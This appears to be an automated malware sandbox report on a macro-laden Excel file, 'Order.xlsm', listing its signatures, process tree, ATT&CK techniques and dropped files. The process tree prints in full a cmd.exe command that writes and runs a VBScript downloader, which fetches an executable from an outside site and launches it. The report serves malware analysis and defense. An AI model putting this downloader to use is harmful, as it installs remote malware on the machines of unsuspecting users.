Analysis

  • max time kernel
    103s
  • max time network
    48s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    21-05-2022 03:50

General

  • Target

    Order.xlsm

  • Size

    143KB

  • MD5

    5628587a1bc8cc65ef2d1c7283319eaf

  • SHA1

    2aea79b0b48861b2edbebe7180d7b5506f951d56

  • SHA256

    74f28a4dad71ce2a455d4ad77fe50105b72b2357c2f34cd96b877498b35838cb

  • SHA512

    6e7da7bf9514c57d369629d5ba826a77b4caacca0a9ad8c981ecedabab34a63df19d973ec665205b74dd60c1831feacffaf3a28f78faa8af444aae6acc8a3d86

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Order.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1624
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c @echo strFileURL = "https://manikmeyah.net/wp-content/themes/ft/rUCCfunGgRj9MjR.exe">>C:\ProgramData\poc.vbs&@echo strHDLocation = (WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)+"\"+"Filename.exe")>>C:\ProgramData\poc.vbs&@echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")>>C:\ProgramData\poc.vbs&@echo objXMLHTTP.open "GET", strFileURL, false>>C:\ProgramData\poc.vbs&@echo objXMLHTTP.send()>>C:\ProgramData\poc.vbs&@echo If objXMLHTTP.Status = 200 Then>>C:\ProgramData\poc.vbs&@echo Set objADOStream = CreateObject("ADODB.Stream")>>C:\ProgramData\poc.vbs&@echo objADOStream.Open>>C:\ProgramData\poc.vbs&@echo objADOStream.Type = 1 >>C:\ProgramData\poc.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>C:\ProgramData\poc.vbs&@echo objADOStream.Position = 0 >>C:\ProgramData\poc.vbs&@echo objADOStream.SaveToFile strHDLocation>>C:\ProgramData\poc.vbs&@echo objADOStream.Close>>C:\ProgramData\poc.vbs&@echo Set objADOStream = Nothing>>C:\ProgramData\poc.vbs&@echo End If>>C:\ProgramData\poc.vbs&@echo Set objXMLHTTP = Nothing>>C:\ProgramData\poc.vbs&@echo Set objShell = CreateObject("WScript.Shell")>>C:\ProgramData\poc.vbs&@echo objShell.Run((WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)+"\"+"Filename.exe"))>>C:\ProgramData\poc.vbs&cscript.exe C:\ProgramData\poc.vbs
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1128
      • C:\Windows\SysWOW64\cscript.exe
        cscript.exe C:\ProgramData\poc.vbs
        3⤵
        • Blocklisted process makes network request
        PID:1100

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\poc.vbs
    Filesize

    770B

    MD5

    27d0a5ee83c1fe7339c77805c61707c5

    SHA1

    a35c12916925f4b32a82aae22c9d6b47dcdc35f7

    SHA256

    0df89e453952e0a34ab493b30c89f3d1e8ed01c779e5f5c23eb925c32c6f29b8

    SHA512

    2bdddf036af567c8669ec9d2b1bee9a852dc6378df71c926188d4b5ae1b7faf04871164f68e87a0838a2e0a468754cc5e098f431847c2c6e50aa4d112e16ddb2

  • memory/1100-72-0x0000000000000000-mapping.dmp
  • memory/1128-71-0x0000000000000000-mapping.dmp
  • memory/1624-58-0x0000000071F3D000-0x0000000071F48000-memory.dmp
    Filesize

    44KB

  • memory/1624-54-0x000000002F161000-0x000000002F164000-memory.dmp
    Filesize

    12KB

  • memory/1624-59-0x0000000000386000-0x000000000038A000-memory.dmp
    Filesize

    16KB

  • memory/1624-60-0x0000000000386000-0x000000000038A000-memory.dmp
    Filesize

    16KB

  • memory/1624-61-0x0000000000386000-0x000000000038A000-memory.dmp
    Filesize

    16KB

  • memory/1624-62-0x0000000000386000-0x000000000038A000-memory.dmp
    Filesize

    16KB

  • memory/1624-65-0x0000000000386000-0x000000000038A000-memory.dmp
    Filesize

    16KB

  • memory/1624-68-0x0000000000386000-0x000000000038A000-memory.dmp
    Filesize

    16KB

  • memory/1624-70-0x0000000000386000-0x000000000038A000-memory.dmp
    Filesize

    16KB

  • memory/1624-57-0x0000000075C71000-0x0000000075C73000-memory.dmp
    Filesize

    8KB

  • memory/1624-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1624-55-0x0000000070F51000-0x0000000070F53000-memory.dmp
    Filesize

    8KB

  • memory/1624-75-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB